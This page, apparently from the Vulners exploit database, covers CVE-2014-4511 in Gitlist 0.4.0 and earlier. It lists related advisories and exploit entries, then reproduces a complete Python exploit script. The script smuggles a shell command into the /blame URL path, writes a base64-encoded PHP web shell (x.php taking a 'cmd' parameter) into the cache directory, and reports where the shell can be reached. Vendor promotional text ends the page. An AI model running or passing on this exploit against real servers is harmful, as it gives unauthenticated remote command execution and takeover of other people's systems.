| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| Gitlist <= 0.4.0 - Remote Code Execution Exploit | 30 Jun 201400:00 | – | zdt | |
| Gitlist Unauthenticated Remote Command Execution Exploit | 6 Jul 201400:00 | – | zdt | |
| CVE-2014-4511 | 30 Jun 201400:00 | – | circl | |
| GitList URL Remote Code Execution (CVE-2014-4511) | 6 Oct 201400:00 | – | checkpoint_advisories | |
| CVE-2014-4511 | 22 Jul 201414:00 | – | cve | |
| CVE-2014-4511 | 22 Jul 201414:00 | – | cvelist | |
| Gitlist 0.4.0 - Remote Code Execution | 30 Jun 201400:00 | – | exploitdb | |
| Gitlist - Remote Command Execution (Metasploit) | 7 Jul 201400:00 | – | exploitdb | |
| Gitlist-0.4.0 | 4 Jan 201516:46 | – | exploitpack | |
| Gitlist 0.4.0 - Remote Code Execution | 30 Jun 201400:00 | – | exploitpack |
`from commands import getoutput
import urllib
import sys
"""
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
cve: CVE-2014-4511
"""
if len(sys.argv) <= 1:
print '%s: [url to git repo] {cache path}' % sys.argv[0]
print ' Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
print ' Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
sys.exit(1)
url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
path = sys.argv[2]
print '[!] Using cache location %s' % path
# payload <?system($_GET['cmd']);?>
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
out = getoutput("wget %s" % mpath)
if '500' in out:
print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
print '[-] Failed to drop'
print out
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation